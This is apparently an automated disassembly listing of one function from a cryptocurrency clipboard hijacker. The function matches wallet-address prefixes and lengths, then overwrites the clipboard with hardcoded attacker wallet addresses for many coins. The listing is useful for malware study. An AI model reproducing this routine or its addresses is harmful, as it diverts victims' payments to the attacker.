Function at 0x401100
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x31
je 0x4011d8
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x33
je 0x4011d8
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x71
je 0x4011d8
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x32
je 0x4011d8
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x58
je 0x4011d8
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x44
je 0x4011d8
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x30
je 0x4011d8
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x4c
je 0x4011d8
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x34
je 0x4011d8
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x50
je 0x4011d8
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x74
je 0x4011d8
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x7a
je 0x4011d8
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x47
je 0x4011d8
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x55
je 0x4011d8
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x45
je 0x4011d8
xor al, al
jmp 0x40145f
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x34
je 0x4011ee
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x32
jne 0x401203
cmp dword [ebp - 4], 0x5a
jb 0x4011fa
cmp dword [ebp - 4], 0x73
jbe 0x401201
xor al, al
jmp 0x40145f
jmp 0x401246
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x47
je 0x401224
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
je 0x401224
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
jne 0x401233
cmp dword [ebp - 4], 9
je 0x401231
xor al, al
jmp 0x40145f
jmp 0x401246
cmp dword [ebp - 4], 0x19
jb 0x40123f
cmp dword [ebp - 4], 0x2d
jbe 0x401246
xor al, al
jmp 0x40145f
mov dword [ebp - 0x18], 0
jmp 0x401258
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 4]
jae 0x4012c6
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
cmp edx, 0x4f
je 0x40128a
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
cmp ecx, 0x49
je 0x40128a
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x18]
movsx eax, byte [edx]
cmp eax, 0x6c
jne 0x401291
xor al, al
jmp 0x40145f
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
push edx
call sub.MSVCRT.dll_isalpha
add esp, 4
test eax, eax
jne 0x4012c4
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
push ecx
call sub.MSVCRT.dll_isdigit
add esp, 4
test eax, eax
jne 0x4012c4
xor al, al
jmp 0x40145f
jmp 0x40124f
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x31
je 0x4012dc
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x33
jne 0x4012e3
mov dword [ebp - 8], str.1L6sJ7pmk6EGMUoTmpdbLez9dXACcirRHh
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x71
jne 0x4012f5
mov dword [ebp - 8], str.qzgdgnfd805z83wpu04rhld0yqs4dlrd35ll0ltqql
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x32
jne 0x401307
mov dword [ebp - 8], str.2APZ3wq1VtyCKRq3z6o58yErEHYwtnQmQH9RrsmkBTmTPG8tjt6HJorFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qV1xjj
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x58
jne 0x401319
mov dword [ebp - 8], str.Xt8ZtCcG9BFoc7NfUNBVnxcTvYT4mmzh5i
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x44
jne 0x40132b
mov dword [ebp - 8], str.D7otx94yAiXMUuuff23v8PAYH5XpkdQ89M
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x30
jne 0x40133d
mov dword [ebp - 8], str.0xa5228127395263575a4b4f532e4f132b14599d24
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x4c
jne 0x40134f
mov dword [ebp - 8], str.LUMrZN6GTetcrXtzMmRayLpRN9JrCNcTe7
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x34
jne 0x401361
mov dword [ebp - 8], str.4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQkmhPYCYw8iVCCfAwP
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x50
jne 0x401373
mov dword [ebp - 8], str.PEQUvKSBqyD3AFqFmZJ4C95HP3G8aWBC5t
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x74
je 0x401389
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x7a
jne 0x401390
mov dword [ebp - 8], str.t1PVHo3JR9ZAxMxRXgTziGBeDwfb5Gwm64z
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x47
je 0x4013b1
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
je 0x4013b1
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
jne 0x4013e7
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x47
jne 0x4013c3
mov dword [ebp - 8], str.G19665901
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
jne 0x4013d5
mov dword [ebp - 8], str.U20733431
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
jne 0x4013e7
mov dword [ebp - 8], str.E20895198
mov edx, dword [ebp - 8]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
add eax, 1
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0xc]
add edx, 1
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40145d
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [ebp - 0x14]
push eax
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret